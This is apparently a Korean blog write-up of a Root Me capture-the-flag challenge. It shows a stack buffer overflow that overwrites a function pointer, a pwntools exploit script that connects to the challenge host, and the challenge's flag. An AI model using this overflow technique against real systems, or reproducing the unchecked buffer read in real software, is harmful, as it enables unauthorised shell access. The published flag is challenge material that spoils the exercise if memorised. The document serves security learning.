1번 문제와 비슷한 문제이다.
소스코드를 보면서 이해해보자.
c
닫기#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
void shell() {
setreuid(geteuid(), geteuid());
system("/bin/bash");
}
void sup() {
printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
void main()
{
int var;
void (*func)()=sup;
char buf[128];
fgets(buf,133,stdin);
func();
}
버퍼 변수 위에 sup 함수의 주소 값을 담는 변수가 있고 그 변수로 함수를 호출한다.
128byte짜리 변수에 133byte를 입력받기 때문에 bof가 일어난다.
bof를 통해 버퍼 변수에 128byte를 채워넣고 func 변수에 shell 함수의 주소 값을 넣어주면 shell 함수가 실행될 거 같다.
gdb로 shell 함수의 주소값을 알아보자.

shell 함수의 주소는 0x08048516 임을 알았다.
이제 소스코드를 짜 보자.
python
닫기from pwn import *
s = ssh(user='app-systeme-ch15',host='challenge02.root-me.org',port=2222,password='app-systeme-ch15')
p = s.process('./ch15')
payload = 'A' * 128
payload += '\x16\x85\x04\x08'
p.sendline(payload)
p.interactive()

쉘을 획득했다.

플래그 등장!!
FLAG :B33r1sSoG0oD4y0urBr4iN
'Pwnable > RootMe' 카테고리의 다른 글
Root Me wargame ELF x86 - Stack buffer overflow basic 1 write-up (0) | 2021.02.21 |
---|---|
Root Me wargame ELF x86 - Format string bug basic 2 write-up (0) | 2021.02.21 |